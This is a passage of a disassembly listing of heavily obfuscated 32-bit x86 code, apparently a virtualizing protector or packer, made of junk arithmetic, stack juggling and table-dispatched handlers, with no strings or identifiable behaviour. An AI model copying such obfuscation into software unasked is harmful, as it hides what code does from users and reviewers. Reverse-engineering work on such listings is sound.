63E5h mov [esp], esp jmp loc_58CAAC ; --------------------------------------------------------------------------- loc_585EB8: ; CODE XREF: sub_581EE9+92E7j push ebp push esp jmp loc_588333 ; --------------------------------------------------------------------------- loc_585EBF: ; CODE XREF: sub_581EE9+941Dj mov esi, 4 sub edi, 52E0184Eh add edi, esi push eax mov eax, 6EEE6C94h sub eax, 77D624F8h add eax, 474E7EBCh inc eax xor eax, 1F69448Eh xor eax, 73EF9A99h add edi, eax jmp loc_589B91 ; --------------------------------------------------------------------------- loc_585EEE: ; CODE XREF: sub_581EE9+8B87j xor ebx, [esp-6EC0h+arg_6EB6+2] jmp loc_58C09C ; --------------------------------------------------------------------------- loc_585EF6: ; CODE XREF: sub_581EE9+4306j pop ebp xchg esi, [esp-6EC4h+arg_6EBA+2] pop esp jmp loc_58C340 ; --------------------------------------------------------------------------- loc_585F00: ; CODE XREF: sub_581EE9+BF95j mov [esp-6EC8h+arg_6EBE+2], ebp push 32D05DDBh jmp loc_58E1A7 ; --------------------------------------------------------------------------- loc_585F0D: ; CODE XREF: sub_581EE9+F8FEj mov esi, [esp-6EC4h+arg_6EBA+2] add esp, 4 jmp loc_58907C ; --------------------------------------------------------------------------- loc_585F18: ; CODE XREF: sub_581EE9+679Fj pop ecx xor edx, 104602h jmp loc_58F087 ; --------------------------------------------------------------------------- loc_585F24: ; CODE XREF: sub_581EE9+93ECj add esp, 4 push esi mov esi, esp jmp loc_58F017 ; --------------------------------------------------------------------------- loc_585F2F: ; CODE XREF: sub_581EE9+DA42j mov [esp], edi jmp loc_58EFA0 ; --------------------------------------------------------------------------- loc_585F37: ; CODE XREF: sub_581EE9+D7EFj add ecx, ebp jmp loc_5887B0 ; --------------------------------------------------------------------------- loc_585F3E: ; CODE XREF: sub_581EE9+6337j neg edx inc edx push ecx mov ecx, 114F69E3h sub ecx, 6E1D2E71h jmp loc_58D3AC ; --------------------------------------------------------------------------- loc_585F52: ; CODE XREF: sub_581EE9+DF75j xor di, 2F93h jmp loc_59167C ; --------------------------------------------------------------------------- loc_585F5C: ; CODE XREF: sub_581EE9+A51Cj sub ebx, edi pop edi sub esp, 4 mov [esp-6EC8h+arg_6EBE+2], esi mov esi, 0B689807Dh xor ebx, esi pop esi sub eax, ebx pop ebx push esi jmp loc_58C0DA ; --------------------------------------------------------------------------- loc_585F79: ; CODE XREF: sub_581EE9+9657j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] xchg eax, ecx inc eax jmp loc_58E322 ; --------------------------------------------------------------------------- loc_585F91: ; CODE XREF: sub_581EE9+B354j xor ebp, 3B394819h add ebp, 17FA55A9h sub ebp, 0E54F75FDh sub ecx, 8E6319Fh jmp loc_58AD9B ; --------------------------------------------------------------------------- loc_585FAE: ; CODE XREF: sub_581EE9+F58Ej add ebx, 4 xchg ebx, [esp] pop esp add edi, 4 push ecx push esi mov esi, 2DB04CABh mov ecx, 0D24FB357h add ecx, esi jmp loc_586B6D ; --------------------------------------------------------------------------- loc_585FD1: ; DATA XREF: sub_581EE9+3D8Bo mov ax, word ptr [esp-6EC8h+arg_6EBE+2] push 9A3h mov [esp-6EC4h+arg_6EBA+2], edx push esp pop edx push esi mov esi, 4 add edx, esi pop esi sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], edi mov edi, 2 add edx, 6E620E70h jmp loc_5867C9 ; --------------------------------------------------------------------------- loc_586001: ; CODE XREF: sub_581EE9+5D97j pop esp mov [esp-6EC4h+arg_6EBA+2], edi mov edi, 64FC6A7Ch push ecx jmp loc_58B311 ; --------------------------------------------------------------------------- loc_586010: ; CODE XREF: sub_581EE9+661Cj mov [esp-6EC0h+arg_6EB6+2], edi mov edi, 4 add eax, edi pop edi push ecx mov ecx, 4 push esi mov esi, 25982966h xor esi, 37EA30B8h add eax, esi pop esi add eax, ecx sub eax, 127219DEh pop ecx xor eax, [esp-6EC4h+arg_6EBA+2] xor [esp-6EC4h+arg_6EBA+2], eax xor eax, [esp-6EC4h+arg_6EBA+2] pop esp jmp loc_585E65 ; --------------------------------------------------------------------------- loc_586047: ; CODE XREF: sub_581EE9+A67Fj add cl, 0F1h push eax mov al, cl mov dl, al pop eax mov ecx, [esp-6EC8h+arg_6EBE+2] add esp, 4 add dl, 0FFh add dl, 3Bh add al, 23h push cx mov ch, 2Eh add al, ch jmp loc_58E84A ; --------------------------------------------------------------------------- loc_586069: ; CODE XREF: sub_581EE9+463Dj mov [esp-6ECAh+arg_6EC2], ebp push esp mov ebp, [esp-6EC6h+arg_6EBE] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edi mov edi, 2B2336DBh add edi, 1 shl edi, 2 shl edi, 3 sub edi, 0FFFFFFFFh push ecx mov ecx, 4B4015Ah xor ecx, 9F2D25D9h add edi, ecx pop ecx jmp loc_58D771 ; --------------------------------------------------------------------------- loc_5860A6: ; CODE XREF: sub_581EE9+A573j shl edx, 2 jmp loc_58C762 ; --------------------------------------------------------------------------- loc_5860AE: ; CODE XREF: sub_581EE9+D049j sub edi, 30334904h xor edi, 0AF7587Ah xor edi, 9344DC42h add ebx, edi mov edi, [esp] jmp loc_58B2C3 ; --------------------------------------------------------------------------- loc_5860CA: ; CODE XREF: sub_581EE9+FAABj xor eax, ecx xchg eax, edx xor edx, ecx xor ecx, edx xor edx, ecx push 50B9h mov [esp-6EBEh+arg_6EB6], ecx not [esp-6EBEh+arg_6EB6] jmp loc_58FCC3 ; --------------------------------------------------------------------------- loc_5860E3: ; CODE XREF: sub_581EE9+A0C9j mov ch, 9Ch jmp loc_58B7C0 ; --------------------------------------------------------------------------- loc_5860EA: ; CODE XREF: sub_581EE9+EC4Dj xor ebp, 48579D61h jmp loc_58DC7F ; --------------------------------------------------------------------------- loc_5860F5: ; CODE XREF: sub_581EE9+CA1Fj push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp-6EBAh+arg_6EB2] xor [esp-6EBAh+arg_6EB2], edx xor edx, [esp-6EBAh+arg_6EB2] pop esp push dword ptr [edi+eax*4] push [esp-6EBAh+arg_6EB2] mov eax, [esp-6EB6h+arg_6EAC+2] jmp loc_5917A1 ; --------------------------------------------------------------------------- loc_58611C: ; CODE XREF: sub_581EE9+5590j push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-6EB2h+arg_6EA8+2] jmp loc_589CDA ; --------------------------------------------------------------------------- loc_586130: ; CODE XREF: sub_581EE9+F740j mov esi, [esp-6EB2h+arg_6EA8+2] add esp, 4 add edx, 1C435A0Eh add edx, eax sub edx, 1C435A0Eh add edx, 7644DACh jmp loc_591B70 ; --------------------------------------------------------------------------- loc_586152: ; CODE XREF: sub_581EE9+B650j and esi, 196D36F5h and esi, 784244F0h and esi, 4AB6EE9h sub esi, 0A2C9C425h mov eax, esi pop esi jmp loc_58738B ; --------------------------------------------------------------------------- loc_586172: ; CODE XREF: sub_581EE9+59BAj add esp, 4 push 1A78h mov [esp-6EBAh+arg_6EB2], edx push ecx mov ch, 0BFh mov dh, 0E7h add dh, ch pop ecx sub al, 0Bh jmp loc_5890D1 ; --------------------------------------------------------------------------- loc_58618F: ; CODE XREF: sub_581EE9+FD12j xchg edx, [esp-6EBAh+arg_6EB2] pop esp jmp loc_5892AC ; --------------------------------------------------------------------------- loc_586198: ; CODE XREF: sub_581EE9+57FEj mov eax, esp add eax, 4 push edi mov edi, 14030DD7h xor edi, 7FB9358Dh sub edi, 6BBA3856h add eax, edi pop edi xchg eax, [esp-6EBEh+arg_6EB6] pop esp sub esi, 17DF4B7Dh mov edi, esi pop esi push 0EDDEEF26h jmp loc_58F8D3 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EC2h+arg_6EBA] push 2EAAh mov [esp-6EBEh+arg_6EB6], edi jmp loc_58F822 ; --------------------------------------------------------------------------- loc_5861DC: ; CODE XREF: sub_581EE9+C569j xor edx, esi pop esi mov ebx, edx mov edx, [esp-6EC2h+arg_6EBA] jmp loc_58B4F2 ; --------------------------------------------------------------------------- loc_5861E9: ; CODE XREF: sub_581EE9+C854j add esi, 2DDD2EACh jmp loc_585EF6 ; --------------------------------------------------------------------------- loc_5861F4: ; CODE XREF: sub_581EE9+7DAFj add edi, 4 add edi, 4 xchg edi, [esp-6EC2h+arg_6EBA] pop esp push eax jmp loc_5885A1 ; --------------------------------------------------------------------------- loc_586207: ; CODE XREF: sub_581EE9+BFE9j add edi, 0A4FDC8D3h add ecx, edi pop edi jmp loc_58E9D6 ; --------------------------------------------------------------------------- loc_586215: ; CODE XREF: sub_581EE9+439Dj xor edi, [esp-6EC6h+arg_6EBE] pop esp jmp loc_590622 ; --------------------------------------------------------------------------- loc_58621E: ; CODE XREF: sub_581EE9+6CD1j add ebp, 4 add ebp, 2 push 36AFh mov [esp], ebp push [esp-6EC6h+arg_6EC2] jmp loc_58684D ; --------------------------------------------------------------------------- loc_586238: ; CODE XREF: sub_581EE9+523Aj pop edx add edi, 3C3A0D4Bh add edi, ecx sub edi, 3C3A0D4Bh pop ecx xor edi, 0DBD28C2h push esi mov esi, 2EEE1ACFh shl esi, 7 neg esi shl esi, 3 xor esi, 0A47C8BD1h sub edi, esi pop esi and eax, edi mov edi, [esp-6ECAh+arg_6EC2] add esp, 4 shr eax, 5 xor eax, 296A0BA7h push edx mov edx, 2BC84BA7h jmp loc_59031C ; --------------------------------------------------------------------------- loc_586280: ; CODE XREF: sub_581EE9+6B01j xor edi, [esp-6ECAh+arg_6EC2] xor [esp-6ECAh+arg_6EC2], edi jmp loc_586215 ; --------------------------------------------------------------------------- loc_58628B: ; CODE XREF: sub_581EE9+4DC7j mov [esp-6ECAh+arg_6EC2], edi push edx pop edi pop edx push edx xchg edx, [esp-6ECAh+arg_6EC2] not edx xchg edx, [esp-6ECAh+arg_6EC2] mov edx, [esp-6ECAh+arg_6EC2] add esp, 4 xchg edx, edi xor ebp, edi jmp loc_58783B ; --------------------------------------------------------------------------- loc_5862AC: ; CODE XREF: sub_581EE9+B813j push 5C7Ah mov [esp-6ECAh+arg_6EC2], ebx push edx push 12866360h pop edx xor edx, 438C30D5h add edx, 690784Ah add edx, 0AA653401h jmp loc_58DAF5 ; --------------------------------------------------------------------------- loc_5862D2: ; CODE XREF: sub_581EE9+4A88j xchg ebp, esi not ebp xchg ebp, esi sub esi, 0F690CF0Bh xor edi, esi pop esi sub eax, edi mov edi, [esp-6ECAh+arg_6EC2] add esp, 4 mov ebx, eax jmp loc_58BF18 ; --------------------------------------------------------------------------- loc_5862F0: ; DATA XREF: sub_581EE9+3B2Fo push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp-6ED0h+arg_6EC6+2], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5862FF: ; CODE XREF: sub_581EE9+4A5Ej mov edx, eax pop eax pop esi add eax, edx pop edx xor eax, [esp-6ED8h+arg_6ECE+2] xor [esp-6ED8h+arg_6ECE+2], eax xor eax, [esp-6ED8h+arg_6ECE+2] pop esp idiv cl jmp loc_58A0E9 ; --------------------------------------------------------------------------- loc_586317: ; CODE XREF: sub_581EE9+7827j pop eax push ebp mov ebp, 2C720089h or ebp, 0A906105h sub ebp, 2EF26189h add eax, ebp pop ebp add eax, 2 xor eax, [esp-6EE0h+arg_6ED6+2] xor [esp-6EE0h+arg_6ED6+2], eax xor eax, [esp-6EE0h+arg_6ED6+2] jmp loc_586C15 ; --------------------------------------------------------------------------- loc_58633E: ; CODE XREF: sub_581EE9+7B91j inc esi inc esi push esi neg [esp-6EDCh+arg_6ED2+2] pop esi neg esi jmp loc_58FE1B ; --------------------------------------------------------------------------- loc_58634C: ; CODE XREF: sub_581EE9+BFC0j pop ebp add eax, 1C36198h xor eax, 43CB8D2Bh add esi, eax pop eax add esi, 2 jmp loc_58D2F5 ; --------------------------------------------------------------------------- loc_586362: ; CODE XREF: sub_581EE9+73BEj add edi, edx jmp loc_591AC3 ; --------------------------------------------------------------------------- loc_586369: ; CODE XREF: sub_581EE9+4E5Bj sub esp, 4 mov [esp-6EE4h+arg_6EDC], eax mov eax, 2 add edi, 6FB4655Dh add edi, eax sub edi, 6FB4655Dh pop eax xchg edi, [esp-6EE8h+arg_6EE0] mov esp, [esp-6EE8h+arg_6EE0] ror word ptr [esp-6EE8h+arg_6EE0], cl pushf jmp loc_5905B3 ; --------------------------------------------------------------------------- loc_586396: ; CODE XREF: sub_581EE9+6CA2j inc ebp xor ebp, 0D9F78D7h sub ebx, ebp pop ebp sub ebx, eax add ebx, 6B991FE3h push ecx jmp loc_589B05 ; --------------------------------------------------------------------------- loc_5863AE: ; CODE XREF: sub_581EE9+D4C0j mov al, 13h jmp loc_58CE3A ; --------------------------------------------------------------------------- loc_5863B5: ; CODE XREF: sub_581EE9+8993j pop esi jmp loc_58C526 ; --------------------------------------------------------------------------- loc_5863BB: ; CODE XREF: sub_581EE9+921Dj mov esi, 47C334CBh and esi, 182939E2h push ebp jmp loc_58EBAD ; --------------------------------------------------------------------------- loc_5863CC: ; CODE XREF: sub_581EE9+A01Aj add esi, 5E3D1E17h sub esi, ebx sub esi, 5E3D1E17h pop ebx sub esp, 4 mov [esp-6EE4h+arg_6EDC], esi push [esp-6EE4h+arg_6EE0] mov esi, [esp-6EE0h+arg_6ED6+2] add esp, 4 pop [esp-6EE4h+arg_6EDC] pop esp mov word ptr [esp-6EECh+arg_6EE4], ax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5863F8: ; CODE XREF: sub_581EE9+7630j push ax jmp loc_58C939 ; --------------------------------------------------------------------------- loc_5863FF: ; CODE XREF: sub_581EE9+45BFj xchg ebx, ebp and ebp, 17FF53A0h inc ebp push edi mov edi, 470B307Dh not edi and edi, 75BF17DBh jmp loc_5872AC ; --------------------------------------------------------------------------- loc_58641B: ; CODE XREF: sub_581EE9+A3B0j push eax mov al, 1Ah sub bl, al pop eax movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- loc_586429: ; DATA XREF: sub_581EE9+3AF7o xor [esp-6F06h+arg_6EFE], eax xor eax, [esp-6F06h+arg_6EFE] xor [esp-6F06h+arg_6EFE], eax sub esp, 4 jmp loc_58F299 ; --------------------------------------------------------------------------- loc_58643D: ; CODE XREF: sub_581EE9+8FA3j mov edx, 53C722D2h sub edx, 11F961D0h shl edx, 7 neg edx add edx, 5FF9D446h sub ebp, edx jmp loc_591340 ; --------------------------------------------------------------------------- loc_58645A: ; CODE XREF: sub_581EE9+69D9j push ebp push 1306430Fh jmp loc_58E677 ; --------------------------------------------------------------------------- loc_586465: ; CODE XREF: sub_581EE9+7EDBj mov ah, 37h jmp loc_58703C ; --------------------------------------------------------------------------- loc_58646C: ; CODE XREF: sub_581EE9+5437j pop esp mov [esp-6EFEh+arg_6EF6], ecx mov ecx, 635B1F97h push ecx dec [esp-6EFAh+arg_6EF0+2] pop ecx or ecx, 329D706Ch push edi push ecx jmp loc_590791 ; --------------------------------------------------------------------------- loc_586487: ; CODE XREF: sub_581EE9+691Dj xor ch, bh pop ebx add bl, 92h add bl, ch sub bl, 92h pop ecx movzx eax, al jmp loc_58F07F ; --------------------------------------------------------------------------- loc_58649B: ; CODE XREF: sub_581EE9+7518j push ebp mov ebp, 9C3617h xor ebp, ebx xor ebx, ebp xor ebp, ebx inc ebx jmp loc_5863FF ; --------------------------------------------------------------------------- loc_5864AD: ; CODE XREF: sub_581EE9+AC59j xor bl, al movzx eax, al push dword ptr [edi+eax*4] push [esp-6EF6h+arg_6EEC+2] mov eax, [esp-6EF2h+arg_6EE8+2] push esi push esp pop esi jmp loc_5875A6 ; --------------------------------------------------------------------------- loc_5864C3: ; CODE XREF: sub_581EE9+4AFBj mov ecx, 5E0F27D3h and ecx, 4E4D46E3h push ebx mov ebx, 0B516323Ah sub ecx, ebx jmp loc_58BE58 ; --------------------------------------------------------------------------- loc_5864DB: ; CODE XREF: sub_581EE9+7B4Dj push edx mov edx, esp jmp loc_58B9B9 ; --------------------------------------------------------------------------- loc_5864E3: ; CODE XREF: sub_581EE9+B28Dj add bl, al sub bl, 17h push 0DCEh mov [esp+0], edx mov dh, 0ACh push edx mov dh, 61h neg dh dec dh sub dh, 0F3h sub bl, dh pop edx jmp loc_590B4F ; --------------------------------------------------------------------------- loc_586504: ; CODE XREF: sub_581EE9+E296j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586509: ; CODE XREF: sub_581EE9+8835j pop eax mov edi, ebp pop ebp not edi push ebx mov ebx, 768716AFh sub ebx, 19D621E7h jmp loc_58E3FD ; --------------------------------------------------------------------------- loc_586520: ; CODE XREF: sub_581EE9+4CD8j sub esp, 4 jmp loc_586069 ; --------------------------------------------------------------------------- loc_58652B: ; CODE XREF: sub_581EE9+DE19j add eax, ebp pop ebp push eax push [esp-6EE2h+arg_6EDC+2] pop eax pop dword ptr [esp+0] pop esp push ecx push 7C95h jmp loc_58FC59 ; --------------------------------------------------------------------------- loc_586543: ; CODE XREF: sub_581EE9+77E2j mov ebx, [esp+0] jmp loc_58CDDB ; --------------------------------------------------------------------------- loc_58654B: ; CODE XREF: sub_581EE9+875Cj xor esi, ecx pop ecx push ebx jmp loc_58F673 ; --------------------------------------------------------------------------- loc_586554: ; CODE XREF: sub_581EE9+C251j push 4 push [esp-6EDEh+arg_6ED6] pop ecx jmp loc_58AC2B ; --------------------------------------------------------------------------- loc_586562: ; CODE XREF: sub_581EE9+E253j add edi, 4 xchg edi, [esp-6EDEh+arg_6ED6] mov esp, [esp-6EDEh+arg_6ED6] jmp loc_590CC6 ; --------------------------------------------------------------------------- loc_586570: ; CODE XREF: sub_581EE9+CBE0j add eax, 4 add eax, 4 xchg eax, [esp-6EDEh+arg_6ED6] pop esp jmp loc_591991 ; --------------------------------------------------------------------------- loc_586583: ; CODE XREF: sub_581EE9+514Ej add ch, 62h jmp loc_58ACDA ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h push esi mov esi, 4 jmp loc_588081 ; --------------------------------------------------------------------------- loc_586599: ; CODE XREF: sub_581EE9+85E9j push esi push [esp-6EDAh+arg_6ED6] pop esi pop [esp-6EDAh+arg_6ED2] pop esp shl word ptr [esp+0], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5865AD: ; CODE XREF: sub_581EE9+ABAEj push edi mov edi, 1D374E08h jmp loc_58E993 ; --------------------------------------------------------------------------- loc_5865B8: ; CODE XREF: sub_581EE9+83CBj mov ebx, 3552782Fh sub edx, 642E5F4Eh jmp loc_58858A ; --------------------------------------------------------------------------- loc_5865C8: ; CODE XREF: sub_581EE9+DAB9j inc ebx sub ebx, 7F803BC9h mov ebp, ebx pop ebx add ecx, ebp mov ebp, [esp-6EDEh+arg_6ED6] add esp, 4 push edi mov edi, 4 add ecx, 6AF97FBCh jmp loc_58D6E8 ; --------------------------------------------------------------------------- loc_5865EE: ; DATA XREF: sub_581EE9+3C67o push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-6EF6h+arg_6EEC+2] pop esp mov [esp-6EFAh+arg_6EF0+2], edi push esp push [esp-6EF6h+arg_6EEC+2] pop edi add esp, 4 push 5F3Eh mov [esp-6EF6h+arg_6EEC+2], eax mov eax, 4E34428Ah xor eax, 4E34428Eh add edi, 333B54CDh add edi, eax sub edi, 333B54CDh mov eax, [esp-6EF6h+arg_6EEC+2] add esp, 4 sub edi, 4 xchg edi, [esp-6EFAh+arg_6EF0+2] mov esp, [esp-6EFAh+arg_6EF0+2] jmp loc_58F861 ; --------------------------------------------------------------------------- loc_586640: ; CODE XREF: sub_581EE9+70D5j mov [esp-6EFAh+arg_6EF0+2], ebx jmp loc_58A4D7 ; --------------------------------------------------------------------------- loc_586648: ; CODE XREF: sub_581EE9+E160j pop ecx shl bl, 7 shl bl, 4 inc bl jmp loc_58C9D7 ; --------------------------------------------------------------------------- loc_586656: ; CODE XREF: sub_581EE9+C778j mov bl, cl pop ecx xor bl, 9Ah jmp loc_58851E ; --------------------------------------------------------------------------- loc_586661: ; CODE XREF: sub_581EE9+B330j sub esp, 4 mov [esp-6EFEh+arg_6EF6], edi mov edi, 44AB7420h jmp loc_588A84 ; --------------------------------------------------------------------------- loc_586671: ; CODE XREF: sub_581EE9+80BFj add esp, 4 add eax, 4 push edi mov edi, 4 add eax, edi jmp loc_586F5C ; --------------------------------------------------------------------------- loc_586686: ; DATA XREF: sub_581EE9+3C57o mov cx, word ptr [esp-6EFEh+arg_6EF6] jmp loc_58C8AB ; --------------------------------------------------------------------------- loc_58668F: ; CODE XREF: sub_581EE9+F140j add ecx, 4 add ecx, 4 xchg ecx, [esp-6EFEh+arg_6EF6] pop esp push ebp push [esp-6EFEh+arg_6EFA] pop ebp pop [esp-6EFEh+arg_6EF6] mov esp, [esp-6F02h+arg_6EFA] mov ax, word ptr [esp-6F02h+arg_6EFA] push ebx push esp pop ebx add ebx, 4 push eax mov eax, 4 sub ebx, eax pop eax xchg ebx, [esp-6EFEh+arg_6EF6] pop esp mov [esp-6F02h+arg_6EFA], eax mov eax, esp push edi mov edi, 4 jmp loc_590BF7 ; --------------------------------------------------------------------------- loc_5866D2: ; CODE XREF: sub_581EE9+6A83j push esi not [esp-6EFAh+arg_6EF0+2] pop esi push ebp push esi jmp loc_58BA4F ; --------------------------------------------------------------------------- loc_5866DE: ; CODE XREF: sub_581EE9+794Bj pop eax push edx pop eax jmp loc_5894DC ; --------------------------------------------------------------------------- loc_5866E6: ; CODE XREF: sub_581EE9+7CA3j push [esp-6EFAh+arg_6EF6] pop edi pop [esp-6EFAh+arg_6EF0+2] jmp loc_58A82F ; --------------------------------------------------------------------------- loc_5866F3: ; CODE XREF: sub_581EE9+D1DAj push [esp-6EFEh+arg_6EFA] mov edx, [esp-6EFAh+arg_6EF0+2] add esp, 4 pop [esp-6EFEh+arg_6EF6] mov esp, [esp-6F02h+arg_6EFA] cmp cx, ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58670F: ; CODE XREF: sub_581EE9+7B45j mov eax, 4 jmp loc_587227 ; --------------------------------------------------------------------------- loc_586719: ; CODE XREF: sub_581EE9+66D3j mov [esp-6EFEh+arg_6EF6], esi push ebx push ecx jmp loc_58CD21 ; --------------------------------------------------------------------------- loc_586723: ; CODE XREF: sub_581EE9+D1BAj add ebp, 4 add ebp, 4 xchg ebp, [esp-6EF6h+arg_6EEC+2] pop esp sub esp, 4 mov [esp-6EF6h+arg_6EEC+2], edi mov edi, esp push 33E2h mov [esp-6EF2h+arg_6EE8+2], eax push ebp jmp loc_58BBE1 ; --------------------------------------------------------------------------- loc_58674C: ; CODE XREF: sub_581EE9+B7B8j sub ebx, 4 xchg ebx, [esp-6EEEh+arg_6EE4+2] pop esp mov [esp-6EF2h+arg_6EE8+2], ebx mov ebx, 235B2FB0h push ebp mov ebp, 751973C8h or ebx, ebp pop ebp xchg esi, ebx not esi xchg esi, ebx and ebx, 7FAB328Bh dec ebx push edx mov edx, 303E1E35h or ebx, edx pop edx jmp loc_59109A ; --------------------------------------------------------------------------- loc_58677F: ; CODE XREF: sub_581EE9+8DFCj dec eax xor eax, 48052D39h sub esi, eax pop eax jmp loc_58A31E ; --------------------------------------------------------------------------- loc_58678D: ; CODE XREF: sub_581EE9+BED9j add bl, 19h sub esp, 4 jmp loc_58C053 ; --------------------------------------------------------------------------- loc_58679B: ; CODE XREF: sub_581EE9+5FB1j push ecx push [esp-6EEEh+arg_6EE8+2] pop ecx jmp loc_585DEC ; --------------------------------------------------------------------------- loc_5867A6: ; CODE XREF: sub_581EE9+C789j sub ecx, edx jmp loc_58D63D ; --------------------------------------------------------------------------- loc_5867AD: ; CODE XREF: sub_581EE9+7BC5j xor dh, 99h add al, dh pop edx push ecx mov cl, 4Bh or cl, 0ADh shr cl, 8 jmp loc_58CB94 ; --------------------------------------------------------------------------- loc_5867C1: ; CODE XREF: sub_581EE9+C03Cj xor [esp], eax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5867C9: ; CODE XREF: sub_581EE9+4113j add edx, 573E0646h add edx, edi sub edx, 573E0646h sub edx, 6E620E70h mov edi, [esp-6EC0h+arg_6EB6+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6EBCh+arg_6EB2+2] pop esp xor edx, [esp-6EC0h+arg_6EB6+2] xor [esp-6EC0h+arg_6EB6+2], edx xor edx, [esp-6EC0h+arg_6EB6+2] jmp loc_589618 ; --------------------------------------------------------------------------- loc_586801: ; CODE XREF: sub_581EE9+5D55j sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], ebp mov ebp, 4 add eax, ebp mov ebp, [esp-6EBCh+arg_6EB2+2] add esp, 4 push ebx mov ebx, 4 add eax, 1F37721h jmp loc_58E770 ; --------------------------------------------------------------------------- loc_586827: ; CODE XREF: sub_581EE9+6D01j mov bl, dl pop edx push cx jmp loc_587451 ; --------------------------------------------------------------------------- loc_586831: ; CODE XREF: sub_581EE9+BAF7j add ecx, 4 push edi mov edi, 2 add ecx, edi pop edi xchg ecx, [esp-6EBEh+arg_6EB6] pop esp pop small word ptr [esp-6EC2h+arg_6EBA] jmp loc_589A3B ; --------------------------------------------------------------------------- loc_58684D: ; CODE XREF: sub_581EE9+434Aj pop ebp pop [esp-6EC6h+arg_6EBE] jmp loc_586DBC ; --------------------------------------------------------------------------- loc_586856: ; CODE XREF: sub_581EE9+964Dj add eax, 4 push ebx mov ebx, 4 jmp loc_58DDFB ; --------------------------------------------------------------------------- loc_586866: ; CODE XREF: sub_581EE9+5FEBj pop edi sub ebx, edx mov edx, [esp] add esp, 4 push 0 add dword ptr [esp], 2C39270Dh jmp loc_58D2E2 ; --------------------------------------------------------------------------- loc_586880: ; CODE XREF: sub_581EE9+F39Bj pop esp mov [esp-6ECEh+arg_6EC6], ecx push 4B51h mov [esp-6ECAh+arg_6EC2], esi mov esi, 0 push esi sub [esp-6EC6h+arg_6EBE], 7C860407h pop ecx add ecx, 7C860407h pop esi add ecx, edx add eax, [ecx] jmp loc_586A6E ; --------------------------------------------------------------------------- loc_5868AA: ; CODE XREF: sub_581EE9+A864j pop esi xchg ebp, [esp-6ED2h+arg_6ECA] pop esp mov ebp, [esp-6ED6h+arg_6ECE] add esp, 4 jmp loc_589889 ; --------------------------------------------------------------------------- loc_5868BD: ; CODE XREF: sub_581EE9+748Aj push ebp push [esp-6ED6h+arg_6ED2] pop ebp pop dword ptr [esp] pop esp or ecx, ecx jz loc_58AF46 push 2D05h push 7783h sub esp, 4 mov [esp-6ED2h+arg_6ECA], esp add [esp-6ED2h+arg_6ECA], 4 pop [esp-6ED2h+arg_6ECA] push ebp mov ebp, 4 add [esp+4], ebp jmp loc_58965A ; --------------------------------------------------------------------------- loc_5868F8: ; CODE XREF: sub_581EE9+FC75j add dh, 65h jmp loc_58AB19 ; --------------------------------------------------------------------------- loc_586900: ; CODE XREF: sub_581EE9+EE3Dj mov al, 21h add bl, al pop ax and bl, 2 jmp loc_58A92A ; --------------------------------------------------------------------------- loc_58690E: ; CODE XREF: sub_581EE9+EF5Aj and eax, ebx mov ebx, [esp-6ED4h+arg_6ECA+2] jmp loc_5899E5 ; --------------------------------------------------------------------------- loc_586918: ; CODE XREF: sub_581EE9+ECA2j sub edx, 0FFFFFFFFh push edi mov edi, 2DE42FD2h add edx, edi pop edi neg edx push ebp mov ebp, 0 sub ebp, edx mov edx, ebp pop ebp jmp loc_58CC27 ; --------------------------------------------------------------------------- loc_586936: ; DATA XREF: sub_581EE9+3B23o push [esp-6ED4h+arg_6ECA+2] jmp loc_58DB78 ; --------------------------------------------------------------------------- loc_58693E: ; CODE XREF: sub_581EE9+A696j sub esi, 18833906h push eax mov eax, esi jmp loc_5862FF ; --------------------------------------------------------------------------- loc_58694C: ; CODE XREF: sub_581EE9+C27Aj not esi xor edi, esi xor esi, edi xor edi, esi neg edi dec edi push esi mov esi, 7EB8206Dh shr esi, 5 push esi not [esp-6EC4h+arg_6EBA+2] pop esi or esi, 1030698Ch or esi, 29585E00h jmp loc_5862D2 ; --------------------------------------------------------------------------- loc_586976: ; CODE XREF: sub_581EE9+D312j add bl, dh pop edx jmp loc_5891BF ; --------------------------------------------------------------------------- loc_58697E: ; CODE XREF: sub_581EE9+7A27j xchg ebx, ecx not ebx xchg ebx, ecx add ecx, 0A52DCF05h add ebp, ecx jmp loc_58B95C ; --------------------------------------------------------------------------- loc_586991: ; CODE XREF: sub_581EE9+E34Ej add edi, esi add edi, 5314C48h pop esi xchg edi, [esp] mov esp, [esp] mul cl movzx cx, ah push small 66C7h jmp loc_59147C ; --------------------------------------------------------------------------- loc_5869AF: ; CODE XREF: sub_581EE9+F583j push edx push 4A1418F2h pop edx neg edx or edx, 0C3F2F64h or edx, 1C962704h sub edx, 0BA6C77A3h jmp loc_58E0DD ; --------------------------------------------------------------------------- loc_5869CF: ; CODE XREF: sub_581EE9+4E04j mov bl, 82h jmp loc_588D91 ; --------------------------------------------------------------------------- loc_5869D6: ; DATA XREF: sub_581EE9+3CC3o mov ax, word ptr [esp-6ECAh+arg_6EC2] push ebp mov ebp, esp push edi mov edi, 67092B7Bh push ecx jmp loc_5864C3 ; --------------------------------------------------------------------------- loc_5869E9: ; CODE XREF: sub_581EE9+BDE7j sub esi, 62810EDFh not esi shr esi, 1 jmp loc_58D13C ; --------------------------------------------------------------------------- loc_5869F8: ; CODE XREF: sub_581EE9+DF99j push esi mov esi, 22B90245h add esi, 6D2D5B7Ch add esi, 25C56802h xor esi, 0B5ABC5C7h sub ecx, esi pop esi xchg ecx, [esp-6EBEh+arg_6EB6] jmp loc_591822 ; --------------------------------------------------------------------------- loc_586A1B: ; CODE XREF: sub_581EE9+DD36j 